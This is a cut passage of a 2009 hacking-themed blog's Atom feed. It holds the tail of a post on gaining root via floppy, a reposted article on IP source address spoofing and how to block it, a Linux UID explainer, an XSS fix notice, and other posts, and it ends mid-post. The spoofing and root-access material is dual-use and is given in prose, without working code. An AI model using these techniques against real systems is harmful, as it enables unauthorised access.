system)&lt;br /&gt;&lt;br /&gt;Now you can log in as root; there is no password protecting root anymore.&lt;br /&gt;&lt;br /&gt;Take care everyone, Just1ce.&lt;br /&gt;&lt;br /&gt;reference:http://www.exploitx.com/69/rooting-linux-with-a-floppy/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3024988281538372775?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3024988281538372775/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/12/rooting-linux-with-floppy.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3024988281538372775'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3024988281538372775'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/12/rooting-linux-with-floppy.html' title='Rooting Linux with a floppy'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-8553250738653670901</id><published>2009-11-30T15:37:00.000-08:00</published><updated>2009-11-30T15:39:17.611-08:00</updated><title type='text'>Linux &gt; More on USER ID, Password, and Group management</title><content type='html'>n order login into Linux system (over ssh or other services ) you need a username and password.&lt;br /&gt;Username and password stored in /etc/passwd and /etc/shadow file respectively. When you supplies password, it encrypts and compare with password stored in /etc/shadow, which is also in, encrypted format (it was stored when you or system administrator registers/updates it). If both are equal, you are in. Once logged in, you become the number to Linux kernel. You can obtain your user id and other information using id command:&lt;br /&gt;&lt;br /&gt;$ id&lt;br /&gt;uid=1002(vivek) gid=1002(vivek) groups=1002(vivek), 0(wheel)&lt;br /&gt;&lt;br /&gt;Where,&lt;br /&gt;=&gt; Username = vivek&lt;br /&gt;=&gt; User numeric id (uid) = 1002&lt;br /&gt;&lt;br /&gt;Numbers are uses to represent users and groups in Linux kernel because:&lt;br /&gt;1) Simplified user and group management&lt;br /&gt;2) Security management easy&lt;br /&gt;3) Your UID applied to all files you create&lt;br /&gt;&lt;br /&gt;It is always good idea to use the UID more than 1000 for all users for security reason.&lt;br /&gt;Zero UID&lt;br /&gt;&lt;br /&gt;The UID number 0 is special and used by the root user. The zero (0) UID enjoys the unrestricted/unlimited access to Linux system. Note that 0 UID assigned to name root; if you wish you can change this (poorly written program may fail) and assign different name.&lt;br /&gt;&lt;br /&gt;Similarly, you have group id (GID). It is use by Linux to refer group names. Single user can be member of multiple groups. This result into very good flexibility for access the system and the sharing files. Many UNIX system uses wheel group as power user group. Like the UID value, zero GID value zero enjoys the unrestricted/unlimited access to Linux system.&lt;br /&gt;&lt;br /&gt;Some time Linux and other UNIX like (FreeBSD, Solaris etc) uses EUID, RUID, and SUID concept.&lt;br /&gt;The Effective User ID (EUID)&lt;br /&gt;&lt;br /&gt;It is use to determine what level of access the current process has. When EUID is zero then the process has unrestricted/unlimited access. Following commands can be used to print Effective User ID under Linux:&lt;br /&gt;$ whoami&lt;br /&gt;$ id -un&lt;br /&gt;The Real User ID (RUID):&lt;br /&gt;&lt;br /&gt;It is use to identify who you actually are. Once it is setup by system (usually login program) it cannot be change till your session terminates. You cannot change your RUID. Only root (or person having zero UID) can change the RUID. Use the command id as follows to obtain Real user ID:&lt;br /&gt;$ id –ru&lt;br /&gt;The Saved User ID (SUID):&lt;br /&gt;&lt;br /&gt;When new process / executable file such as passwd, started the effective user id that is in force at the time is copied to the saved user id. Because of this feature, you are able to update your own password stored in /etc/shadow file. Off course, executable file must have set-user-id bit on in order to setuid (system call). Before process ending itself it switches back to SUID.&lt;br /&gt;&lt;br /&gt;In short,&lt;br /&gt;&lt;br /&gt;    * RUID : Identify the real user, normal user cannot change it.&lt;br /&gt;    * EUID : Decides access level, normal user can change it.&lt;br /&gt;    * SUID : Saves the EUID, normal user cannot change it.&lt;br /&gt;    * Real Group ID : Identify the real group&lt;br /&gt;    * Effective Group ID and Supplementary group ID : Decides access level&lt;br /&gt;&lt;br /&gt;Note that access level means kernel can determine whether you have access to devices, files etc.&lt;br /&gt;&lt;br /&gt;reference: http://www.cyberciti.biz/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-8553250738653670901?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/8553250738653670901/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/linux-more-on-user-id-password-and.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8553250738653670901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/8553250738653670901'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/linux-more-on-user-id-password-and.html' title='Linux &gt; More on USER ID, Password, and Group management'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-4458178471305660100</id><published>2009-11-22T07:58:00.000-08:00</published><updated>2009-11-22T07:59:45.371-08:00</updated><title type='text'>Source Address Spoofing</title><content type='html'>by Rik Farrow&lt;br /&gt;&lt;br /&gt;Network Magazine&lt;br /&gt;&lt;br /&gt;Networks rely on the truth. Without accurate information, networks work poorly, if at all. However, there are those who use lies to deceive networks and the systems attached to them. These lies can take many forms, such as source address spoofing, but lie detectors exist to help you spot falsehoods and keep your network secure.&lt;br /&gt;&lt;br /&gt;Source address spoofing alters a packet's return address so that the packet appears to have come from a source other than the sender. An attacker uses source address spoofing for two reasons: to gain access to resources that only accept requests from specific source addresses, or to hide the source of an attack.&lt;br /&gt;&lt;br /&gt;Attackers have used this technique for many years. In fact, the Distributed Denial of Service (DDoS) attacks launched against commercial sites in February 2000 used source address spoofing. Other forms of attack also employ this technique, but most of them would prove unsuccessful today—except for those involving SNMP.&lt;br /&gt;&lt;br /&gt;Source address spoofing is often misunderstood, and therefore a cause for concern. Without preventative measures in place, you could become a victim of source addressing spoofing. (A more likely scenario would turn you into an unknowing source of a source-address-spoofing attack.)&lt;br /&gt;On This Page&lt;br /&gt;&lt;br /&gt;Local And Remote&lt;br /&gt;Source Route&lt;br /&gt;Hiding The Source&lt;br /&gt;How To Get Spoof-Proof&lt;br /&gt;Tell Me No Lies&lt;br /&gt;Local And Remote&lt;br /&gt;&lt;br /&gt;While relying on source addresses to protect services is not a good idea, software that is oriented toward the source of requests is still common. For example, SNMP—a security disaster—often attempts to protect agents on network devices or systems by only accepting requests from specific source addresses. Also, UNIX r commands, the Network File System (NFS), Server Message Block (SMB), and TCP wrappers all include the source address (or system name, in the case of NFS) as part of the access control checks.&lt;br /&gt;&lt;br /&gt;These services are especially vulnerable to local attacks in unswitched networks. This is because it is easy for an attacker to sniff packets in an unswitched network, and sniffing contributes to the success of most attacks. On the other hand, switched networks make it difficult (if not impossible) to sniff packets.&lt;br /&gt;&lt;br /&gt;SNMP is a good example. Suppose SNMP agents have been configured to only respond to requests for information or changing variables from a server at the address 10.2.2.98. Using netcat, a tool for sending or receiving IP packets, an attacker can easily spoof a request from 10.2.2.98 and send it to the agent of his or her choice.&lt;br /&gt;&lt;br /&gt;When the agent responds, it will send the response back to 10.2.2.98. The real manager will ignore the response, as it won't correspond to any outstanding request. The attacker, however, will need to sniff the response off the network for the attack to succeed, as the response was routed back to the real SNMP manager.&lt;br /&gt;&lt;br /&gt;Even if the attacker cannot sniff the response, the attack might still succeed, as variables can be successfully changed (via an SNMP set command) without seeing the response. If the attacker shares the same subnet with the manager, the attacker might use Reverse Address Resolution Protocol (RARP) to masquerade as the manager of the IP address.&lt;br /&gt;&lt;br /&gt;Remote attacks that seek access via source address spoofing must also have some way of seeing the return packets. Keep in mind that when a remote attacker spoofs some other network's source address, the responses will be routed to that other network, and the attacker will not receive those packets. Of course, the attacker might be able to sniff along the route to the other network. This type of attack, which requires breaking into systems located within ISPs or other intermediate networks, has been successfully carried out.&lt;br /&gt;Top Of Page&lt;br /&gt;Source Route&lt;br /&gt;&lt;br /&gt;Another old trick that may still work involves source routing. Source routing is an IP option used today mainly by network managers to check connectivity. Normally, when an IP packet leaves a system, its path is controlled by the routers and their current configuration. Source routing provides a means to override the control of the routers.&lt;br /&gt;&lt;br /&gt;Source routing can be strict or loose. Strict source routing lets a manager specify the path through all the routers to the destination. Return responses use the same path in reverse. Loose source routing lets managers specify an address that the packet must pass through on its way to the destination. It is loose source routing that aids an attacker.&lt;br /&gt;&lt;br /&gt;A remote attacker might seek to access a UNIX system protected with TCP wrappers, or a Windows NT Internet Information Server (IIS) protected by an access list based on source addresses. If the attacker simply spoofs one of the permitted source addresses, the attacker may never get a response. However, if the attacker both spoofs an address and sets the loose-source-routing option to force the response to return to the attacker's network, the attack can succeed.&lt;br /&gt;&lt;br /&gt;The simplest defense against loose source routing is to not permit these packets to enter (or leave) the network. Just about any firewall will block any packet that has source routing enabled by default. You can also configure routers to block packets with source routing. TCP wrappers and many UNIX OSs can also block source-routed packets.&lt;br /&gt;&lt;br /&gt;An attacker might also attempt "blind spoofing" to gain access to a system that "protects" itself by checking source addresses. In blind spoofing, the attacker may not need to see the responses for the attack to be successful. The first known version of this attack was launched against security specialist Tsutomu Shimomura in 1994. Shimomura was using TCP wrappers to protect his UNIX system from unauthorized access. However, the attacker succeeded by guessing the sequence numbers used in the response packets during the attack, which enabled the attack to change the configuration of the targeted system.&lt;br /&gt;&lt;br /&gt;Sequence number attacks have become much less likely because OS vendors have changed the way initial sequence numbers are generated. The old way was to add a constant value to the next initial sequence number; newer mechanisms use a randomized value for the initial sequence number. (There are some constraints on this "random" value, however, to keep it from working incorrectly.)&lt;br /&gt;&lt;br /&gt;Using the source address to authorize a network request is not safe. To improve your security, replace r commands with Secure Shell (SSH), and only use NFS and SMB with improved authentication (SMB has stronger authentication in all versions beyond Windows for Workgroups).&lt;br /&gt;&lt;br /&gt;SNMP 1 and SNMP 2 still rely on source addresses for security. While you can block SNMP at the borders of your networks, you will remain vulnerable to SNMP-based scanning and attacks on your internal networks until SNMP 3 has been implemented and installed.&lt;br /&gt;Top Of Page&lt;br /&gt;Hiding The Source&lt;br /&gt;&lt;br /&gt;Besides spoofing source addresses for phony authentication, attackers can also spoof their own source addresses in attacks where reply packets are not important. Any network-based Denial of Service (DoS) attack fits this description because the point of the attack is not to get a response but instead to flood the target with requests.&lt;br /&gt;&lt;br /&gt;In DoS attacks, it actually makes more sense for the attacker to spoof the source address, otherwise the attacker might wind up blocking his or her own access to the network. Spoofing source addresses also makes tracking the attack much more difficult, as the packets themselves must be traced on each network and subnet, back to the source.&lt;br /&gt;&lt;br /&gt;Source address spoofing requires root access on UNIX systems. The attacker must have root access so that the attack software can open a "raw" network socket. Most applications use "cooked" sockets, in which the IP stack provides the necessary packet headers. A raw socket means that the application must prepare the necessary headers itself—that is, do its own cooking. This permits the attacker to put any information he or she wants in the headers, including spoofed source addresses. Note that Windows NT also supports raw sockets, so this is not just a UNIX issue.&lt;br /&gt;Top Of Page&lt;br /&gt;How To Get Spoof-Proof&lt;br /&gt;&lt;br /&gt;DoS attacks that use source address spoofing became popular in 1997. RFC 2267 was written in response to this type of attack. It suggests that ISPs practice ingress filtering (see Distributed Denial of Service Attacks, March 2000). In general terms, this means that ISPs should filter traffic and drop any packets with spoofed source addresses. In practical terms, this has proven difficult.&lt;br /&gt;&lt;br /&gt;One problem is that many ISPs do not have the technical ability to arrange packet filtering to block packets with spoofed source addresses. Also, many complain that packet filtering reduces equipment performance. While this was true in the past, it is not so today. In the early 1990s, adding packet filtering to a Cisco Systems router could cut throughput by as much as 70 percent. Today, routers have better designs, and it is possible on some routers to block packets with spoofed source addresses with no effect on throughput at all.&lt;br /&gt;&lt;br /&gt;For example, Cisco Express Forwarding (CEF) is an advanced IP switching technology, designed for high-performance layer-3 IP backbone switching. You can configure this by executing the following command while in configuration mode:&lt;br /&gt;&lt;br /&gt;ip verify unicast reverse-path&lt;br /&gt;&lt;br /&gt;A router (or a layer-3 switch) bases routing decisions on the destination address and the routing information. Using the same mechanism, a router can examine the source address and determine if it came from the correct interface. (The route to the source leads back the way it arrived.)&lt;br /&gt;&lt;br /&gt;If the route is not the same, the source address must be spoofed, unless asymmetric routes are being used. Asymmetric routes mean that there is more than one way to reach the destination. If asymmetric routing is not in use, enabling this facility will block all packets with spoofed source addresses.&lt;br /&gt;&lt;br /&gt;Linux and Berkeley Software Distribution (BSD) system kernels also support a similar facility. If you are using a Linux or BSD system as a router or terminal server, either can be configured to block packets with spoofed source addresses (merely by setting a kernel parameter). In Linux systems, you can enable this mechanism by echoing "2" to each rp_filter name found in the /proc file system (/proc/sys/net/ ipv4/conf/*/rp_filter).&lt;br /&gt;&lt;br /&gt;Terminal servers can also block packets with spoofed source addresses. Some terminal servers do this by default. Others can do this by applying an access control list to the Ethernet connection coming from the terminal server (rather than on each incoming modem port). Reports posted to SecurityFocus.com's Bugtraq archives indicated no performance loss at all: CPU usage did increase, but it remained well below 50 percent utilization.&lt;br /&gt;Top Of Page&lt;br /&gt;Tell Me No Lies&lt;br /&gt;&lt;br /&gt;The simple solution is to block packets with obviously spoofed source addresses from entering your network. Most firewalls do this by default. If you use packet filters, block packets as they enter the external interface if they have internal source addresses, private network addresses, or the local host address (127/8).&lt;br /&gt;&lt;br /&gt;Source address spoofing does not need to be a problem—mechanisms for thwarting it abound. Take the time to be a good Netizen and block these packets at the border of your network. Stop lying packets at the source.&lt;br /&gt;&lt;br /&gt;Rik Farrow is an independent security consultant. His Web site, http://www.spirit.com, contains security links and information about network and computer security courses. He can be reached at mailto: rik@spirit.com.&lt;br /&gt;Resources&lt;br /&gt;&lt;br /&gt;Computer security expert Wietse Venema's Web site includes information about TCP wrappers. Go to http://www.porcupine.org.&lt;br /&gt;&lt;br /&gt;Reports about configuring terminal servers and routers to block spoofed source addresses are available from SecurityFocus.com's Bugtraq archives.&lt;br /&gt;&lt;br /&gt;RFC 2267, entitled "Defeating Denial of Service Attacks which Employ IP Source Address Spoofing," is available at http://www.faqs.org/rfcs/rfc2267.html.&lt;br /&gt;&lt;br /&gt;reference:http://technet.microsoft.com/en-us/library/cc723706.aspx&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-4458178471305660100?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/4458178471305660100/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/source-address-spoofing.html#comment-form' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4458178471305660100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4458178471305660100'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/source-address-spoofing.html' title='Source Address Spoofing'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-1895338798426074081</id><published>2009-11-17T20:17:00.000-08:00</published><updated>2009-11-17T20:20:29.701-08:00</updated><title type='text'>WP-Cumulus updated to address yet another security issue</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.roytanck.com/wp-content/uploads/2009/09/danger-sign.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 112px; height: 128px;" src="http://www.roytanck.com/wp-content/uploads/2009/09/danger-sign.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A few weeks ago I rushed out an update to fix a potentially dangerous Cross-Site Scripting (XSS) vulnerability in WP-Cumulus. With the PHP part of the plugin shielded from ‘outside use’, I was hoping no more issues would pop up. Still, I’m glad MustLive alerted me to another issue that uses the Flash movie itself. The exploit worked by calling the SWF file directly, and supplying link with javascript. I’m not quite sure how dangerous this is, but I’ve modified the movie so it only executes regular links.&lt;br /&gt;&lt;br /&gt;Please update your copy of WP-Cumulus to 1.23 asap. For most users it should only take two clicks.&lt;br /&gt;&lt;br /&gt;The should not affect how WP-Cumulus works on WordPress blogs. But there have been a number of ports and other projects that use the Flash movie. I urge the authors of those projects to examine the new Flash movie, and see if it still works in/with their product. The exploit is not unique to WordPress, and they may need to modify the security check to fit their project.&lt;br /&gt;&lt;br /&gt;reference:http://www.roytanck.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-1895338798426074081?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/1895338798426074081/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/wp-cumulus-updated-to-address-yet.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1895338798426074081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/1895338798426074081'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/wp-cumulus-updated-to-address-yet.html' title='WP-Cumulus updated to address yet another security issue'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-6485757825890489694</id><published>2009-11-16T16:02:00.000-08:00</published><updated>2009-11-16T16:05:24.963-08:00</updated><title type='text'>10 Really Useful Server Monitoring Tools</title><content type='html'>1. Pingdom&lt;br /&gt;&lt;br /&gt;Pingdom, which is also available as an iPhone application, makes sure that your website is reachable and responding properly at all times, providing you with email and SMS alerts if it’s not. It monitors uptime and overall performance, creating charts and tables that are easy to understand, enabling you to spot trends and accurately pinpoint problems.&lt;br /&gt;&lt;br /&gt;2. Dotcom-Monitor&lt;br /&gt;&lt;br /&gt;Dotcom-Monitor is an advanced website monitoring service which maximises your uptime so that you can increase sales and provide a continuous service to customers worldwide, protecting the reputation of your business. It provides real-time and email reports and charts, and sends alerts to exactly the right people when problems arise. It even lets you create multiple logins for numerous users, each of which have permission to access different parts of the tool.&lt;br /&gt;&lt;br /&gt;3. McAfee Secure&lt;br /&gt;&lt;br /&gt;McAfee Secure monitors your servers for potential security breaches, protecting end-users of your website from identity theft, credit card fraud, spyware, spam, viruses and online scams. Your site is tested and certified daily, and awarded the “live” McAfee Secure mark to show that it has passed its daily test, which greatly increases shopper confidence. McAfee currently certify over 80,000 websites, all of which are listed on the McAfee Secure database.&lt;br /&gt;&lt;br /&gt;4. Webmetrics GlobalWatch&lt;br /&gt;&lt;br /&gt;GlobalWatch monitors a diverse range of websites, internet applications and services. It identifies and diagnoses downtime, errors and poorly performing transactions, providing performance measurements, detailed reports and flexible alerts. This powerful tool, which supports Web 2.0, AJAX and plugin-based applications like Flash and Java, gives you a truly global perspective on how end-users see your site with monitoring agents stationed in the USA, Asia, Africa and Europe.&lt;br /&gt;&lt;br /&gt;5. Nimsoft Monitoring Solutions (NMS)&lt;br /&gt;&lt;br /&gt;NMS monitors your servers and their configured server applications. All core server resources, from CPU to memory, event logs, print jobs and queues are accounted for. NMS is not only quick and easy to install, but lightweight (you only install the bits that you really need) and scalable (you can monitor hundreds and even thousands of servers at a time). The NMS dashboard is simple and clear with views showing all your servers interconnected, colour-coded status indicators and server-to-server response times.&lt;br /&gt;&lt;br /&gt;6. Solarwinds Orion Network Performance Monitor (NPM)&lt;br /&gt;&lt;br /&gt;Orion NPM makes sure that every one of your servers is working 100% efficiently, but it doesn’t stop there: it monitors all routers, switches and wireless access points in your network too. It’s quick to set up, very attractive (a rarity in server monitoring) and supported by hundreds of expert network engineers. What’s more, you don’t have to be an expert yourself to use it: anyone can get it up and running in under an hour, straight out of the box.&lt;br /&gt;&lt;br /&gt;7. Nagios&lt;br /&gt;&lt;br /&gt;Nagios is a comprehensive IT infrastructure monitoring system that provides a snapshot of your entire operations network while keeping tabs on the health and status of all your applications, services, operating systems, network protocols and system metrics. Instant alerts are sent to your IT staff by email and SMS as soon as problems arise and failed servers, applications and devices can be restarted automatically. Nagios is highly compatible with almost all in-house and third party applications.&lt;br /&gt;&lt;br /&gt;8. ENVIROMUX Server Environment Monitoring System&lt;br /&gt;&lt;br /&gt;This powerful tool, which is perfect for use in data centers, web hosting facilities, telecom switching sites and server closets, monitors temperature, humidity, liquid presence, motion, intrusion and vibration, to ensure that your server’s operating in ideal physical conditions. You can integrate up to eight video cameras into the system to get a live view from anywhere in the world. Nagio’s users get 5% off the list price.&lt;br /&gt;&lt;br /&gt;9. Jacarta interSeptor Pro&lt;br /&gt;&lt;br /&gt;The interSeptor Pro records and charts temperature and humidity conditions surrounding your server. It alerts you (via email or SMS) when air conditioning settings should be adjusted to maximise energy savings. Three different models are available: the big 8-port (8 different temperature and humidity sensors), the huge 16-port and the massive 24-port. Additional alarm sensors can be added to detect water leaks, smoke and power failures.&lt;br /&gt;&lt;br /&gt;10. Simple Server Monitor&lt;br /&gt;&lt;br /&gt;Simple Server Monitor provides a substantial monitoring service for those on a tight budget. It costs just $69.95, following a 30-day free trial. Despite its tiny price tag, it’s packed full of useful features including up-to-the-minute monitoring of uptime and accessible performance charts. It uses popup messages, desktop alarms, email and SMS to alert you to any network uptime losses.&lt;br /&gt;&lt;br /&gt;reference:http://www.webdesignbooth.com/10-really-useful-server-monitoring-tools/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-6485757825890489694?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/6485757825890489694/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/10-really-useful-server-monitoring.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6485757825890489694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6485757825890489694'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/10-really-useful-server-monitoring.html' title='10 Really Useful Server Monitoring Tools'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7709036776588984345</id><published>2009-11-04T05:41:00.000-08:00</published><updated>2009-11-04T05:43:21.497-08:00</updated><title type='text'>Good by str0ke...Rest In Peace</title><content type='html'>Many of us have wondered where str0ke has been and why milw0rm has not been updated in a good while. I recently was informed that str0ke has been hospitalized due to a strange condition with his heart, which he has had since he was a child.&lt;br /&gt;&lt;br /&gt;Sadly....&lt;br /&gt;&lt;br /&gt;I've just received information that str0ke @ milw0rm has passed away due to cardiac arrest early this morning at 9:23 AM. We @ blacksecurity are deeply saddened by the loss of a good hearted friend.&lt;br /&gt;&lt;br /&gt;We wish nothing but blessing to his wife and 4 children.&lt;br /&gt;&lt;br /&gt;RIP str0ke 1974-04-29 - 2009-11-03 09:23 &lt;br /&gt;&lt;br /&gt;good bye str0ke...your elite...thanks for your officia website....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7709036776588984345?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7709036776588984345/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/good-by-str0kerest-in-peace.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7709036776588984345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7709036776588984345'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/11/good-by-str0kerest-in-peace.html' title='Good by str0ke...Rest In Peace'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-2878405536335610442</id><published>2009-10-25T11:00:00.000-07:00</published><updated>2009-10-25T11:02:59.847-07:00</updated><title type='text'>benchmark SMTP servers</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://googleads.g.doubleclick.net/pagead/imgad?id=COvn09zb8MijCBCsAhjvATIIhbe2x2keDiI"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 239px;" src="http://googleads.g.doubleclick.net/pagead/imgad?id=COvn09zb8MijCBCsAhjvATIIhbe2x2keDiI" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is a program I wrote to benchmark SMTP servers. I started work on this because I need to know which mail server will give the best performance with more than 1,000,000 users. I have decided to release it under the GPL because there is no benefit in keeping the source secret, and the world needs to know which mail servers perform well and which don’t!&lt;br /&gt;&lt;br /&gt;At the OSDC conference in 2006 I presented a paper on mail relay performance based on the new BHM program that is now part of Postal.&lt;br /&gt;&lt;br /&gt;I have a Postal category on my main blog that I use for a variety of news related to Postal. This post (which will be updated periodically) will be the main reference page for the software. Please use the comments section for bug reports and feature requests.&lt;br /&gt;&lt;br /&gt;It works by taking a list of email addresses to use as FROM and TO addresses. I originally used a template to generate the list of users because if each email address takes 30 bytes of storage then 3,000,000 accounts would take 90M of RAM which would be more than the memory in the test machine I was using at the time. Since that time the RAM size in commodity machines has increased far faster than the size of ISP mail servers so I removed the template feature (which seemed to confuse many people).&lt;br /&gt;&lt;br /&gt;When sending the mail the subject and body will be random data. A header field X-Postal will be used so that procmail can easily filter out such email just in case you accidentally put your own email address as one of the test addresses. ;)&lt;br /&gt;&lt;br /&gt;I have now added two new programs to the suite, postal-list, and rabid. Postal-list will list all the possible expansions for an&lt;br /&gt;account name (used for creating a list of accounts to create on your test server). Rabid is the mad Biff, it is a POP benchmark.&lt;br /&gt;&lt;br /&gt;Postal now adds a MD5 checksum to all messages it sends (checksum is over the subject and message body including the “\r\n” that ends each line of text in the SMTP protocol). Rabid now checks the MD5 checksum and displays error messages when it doesn’t match.&lt;br /&gt;&lt;br /&gt;I have added rate limiting support in Rabid and Postal. This means that you can specify that these programs send a specific number of messages and perform a specific number of POP connections per minute respectively. This should make it easy to determine the amount of system resources that are used by a particular volume of traffic. Also if you want to run performance analysis software to determine what the bottlenecks are on your mail server then you could set Postal and Rabid to only use half the maximum speed (so the CPU and disk usage of the analysis software won’t impact on the mail server).&lt;br /&gt;&lt;br /&gt;I will not release a 1.0 version until the following features are implemented:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    * Matching email sent by Postal and mail received by BHM and Rabid to ensure that each message is delivered correctly (no repeats and no corruption)&lt;br /&gt;&lt;br /&gt;    * IMAP support in Rabid that works&lt;br /&gt;&lt;br /&gt;    * Support for simulating large numbers of source addresses in Postal. This needs to support at least 2^24 addresses so it is entirely impractical to have so many IP addresses permanently assigned to the test machine.&lt;br /&gt;&lt;br /&gt;    * Support for simulating slow servers in Postal and BHM (probably reducing TCP window size and delaying read() calls)&lt;br 